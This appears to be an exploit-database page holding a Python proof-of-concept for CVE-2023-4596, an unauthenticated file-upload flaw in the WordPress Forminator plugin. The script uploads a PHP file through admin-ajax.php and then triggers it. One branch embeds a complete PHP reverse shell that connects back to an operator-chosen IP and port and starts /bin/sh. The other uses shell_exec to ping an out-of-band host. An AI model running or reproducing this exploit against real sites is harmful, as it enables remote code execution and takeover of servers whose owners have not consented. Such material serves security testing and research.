4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import datetime
import argparse
import re
import random
import string

print(r'''
______                   _             _              ______  _____  _____ 
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__  
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __| 
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___ 
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/ 
                                                                           
''')

parser = argparse.ArgumentParser(description="Script to check for CVE-2023-4596")
parser.add_argument("-u", required=True, help="Full URL of a page with file upload")
parser.add_argument("-v", action="store_true", help="Check for a (vulnerable) version")
parser.add_argument("-r", action="store_true", help="Get an reverse shell on the instance")

args = parser.parse_args()
full_url = args.u

# Using regex to split the full url in parts
match = re.match(r"(https?://)(.*?)(/.*)?$", full_url)
if match:
    http_prefix = match.group(1)
    new_domain = http_prefix + match.group(2)
    page = match.group(3) or "/"
else:
    print("Invalid URL format")
    exit()

# Checking for a (vulnerable) version
if args.v:
    version_check_url = new_domain.rstrip('/') + "/wp-content/plugins/forminator/readme.txt"
    try:
        response = requests.get(version_check_url, timeout=5)
        if response.status_code == 200:
            readme_content = response.text
            stable_tag_match = re.search(r"Stable tag:\s*([\d.]+)", readme_content)
            if stable_tag_match:
                stable_tag = stable_tag_match.group(1)
                if stable_tag <= "1.24.6":
                    print("[+] Vulnerable version found:", stable_tag)
                else:
                    print("[-] Version is not vulnerable:", stable_tag)
            else:
                print("[-] Could not determine Stable tag in readme.txt")
        else:
            print("[-] Unable to fetch readme.txt:", response.status_code)
    except requests.RequestException as e:
        print("[-] An error occurred while fetching readme.txt:", str(e))
    exit()

url = new_domain + "/wp-admin/admin-ajax.php"

# Headers for the request
headers = {
    "Content-Length": "1292",
    "Accept": "*/*",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytsSnyRY1FWmgGHpA",
    "X-Requested-With": "XMLHttpRequest",
}

# Generate random filename to prevent multiple files with the same name being uploaded
def generate_random_string(length):
    letters = string.ascii_letters
    return ''.join(random.choice(letters) for _ in range(length))

random_filename = generate_random_string(10) + ".php"

# First request to retrieve the forminator_nonce and the form_id that is needed in the second request
initial_response = requests.get(full_url)
if initial_response.status_code != 200:
    print("[-] Unable to fetch the initial page:", initial_response.status_code)
    exit(1)

initial_response_text = initial_response.text

# Extracting the forminator_nonce and form_id
forminator_nonce_match = re.search(r'forminator_nonce"\s+value="(\b[0-9a-fA-F]{10}\b)"', initial_response_text)
if forminator_nonce_match:
    forminator_nonce = forminator_nonce_match.group(1)
else:
    print("[-] Could not extract forminator_nonce")
    print("Did you include the complete URL of a webpage that contains a Forminator file upload field in the command?")
    exit(1)

form_id_match = re.search(r'form_id"\s+value="([0-9]+)"', initial_response_text)
if form_id_match:
    form_id = form_id_match.group(1)
else:
    print("[-] Could not extract form_id")
    exit(1)

# print(f"[+] Extracted forminator_nonce: {forminator_nonce}")
# print(f"[+] Extracted form_id: {form_id}")

if args.r:
    ip = input("Enter IP address: ")
    port = input("Enter port: ")
    
    # Data for the second request with reverse shell
    data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}"
Content-Type: application/x-php

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '{ip}';
$port = {port};
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {{
    $pid = pcntl_fork();
    
    if ($pid == -1) {{
        printit("ERROR: Can't fork");
        exit(1);
    }}
    
    if ($pid) {{
        exit(0);  // Parent exits
    }}

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {{
        printit("Error: Can't setsid()");
        exit(1);
    }}

    $daemon = 1;
}} else {{
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {{
    printit("$errstr ($errno)");
    exit(1);
}}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {{
    printit("ERROR: Can't spawn shell");
    exit(1);
}}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {{
    // Check for end of TCP connection
    if (feof($sock)) {{
        printit("ERROR: Shell connection terminated");
        break;
    }}

    // Check for end of STDOUT
    if (feof($pipes[1])) {{
        printit("ERROR: Shell process terminated");
        break;
    }}

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {{
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }}

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {{
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }}

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {{
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }}
}}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {{
    if (!$daemon) {{
        print "$string\n";
    }}
}}

?> 
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="forminator_nonce"

{forminator_nonce}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="_wp_http_referer"

{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="form_id"

{form_id}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="current_url"

{new_domain}{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="action"

forminator_submit_form_custom-forms
"""

else:
    interact = input("Input out-of-band link: ").replace("http://", "").replace("https://", "")

    # Data for the second request for the file upload
    data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}"
Content-Type: application/x-php

<?php
$domain = "{interact}";
$ip = gethostbyname($domain);
$command = "ping -c 4 " . $ip;
$output = shell_exec($command);
echo "<pre>$output</pre>";
?>
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="forminator_nonce"

{forminator_nonce}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="_wp_http_referer"

{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="form_id"

{form_id}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="current_url"

{new_domain}{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="action"

forminator_submit_form_custom-forms
"""

# Sending the second request
print("\n[+] Sending payload to target")

try:
    response = requests.post(full_url, headers=headers, data=data, timeout=10)
    if response.status_code == 200:
        print("[+] Successful file upload!\n")
    else:
        print("[-] Server returned an unexpected response:", response.status_code)
        exit(1)
except requests.Timeout:
    print("[-] Request timed out. Server is unavailable.")
    exit(1)
except requests.RequestException as e:
    print("[-] An error occurred:", str(e))
    exit(1)

# File will be uploaded in a folder with the current year and current month, using datetime to get this information and using it to send the request and printing the file location
now = datetime.datetime.now()
current_year = now.year
current_month = str(now.month).zfill(2)

uploaded_file_url = f"{new_domain}/wp-content/uploads/{current_year}/{current_month}/{random_filename}"

print("Uploaded File Location:", uploaded_file_url)

# Sending request to uploaded file to start the script
print("\n[+] Sending request to uploaded file...")
try:
    uploaded_file_response = requests.get(uploaded_file_url, timeout=5)  # Put this on purpose on a low timeout since it should be directly triggered; if the request fails, something is wrong with your OOB link, if you started an reverse shell it should time out
    if uploaded_file_response.status_code == 200:
        print("[+] Successfully triggered the uploaded file!")
        print("[+] Check for an incoming request")
    else:
        print("[-] Server returned an unexpected response:", uploaded_file_response.status_code)
        exit(1)
except requests.Timeout:
    print("[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell")
    exit(1)
except requests.RequestException as e:
    print("[-] An error occurred:", str(e))
    exit(1)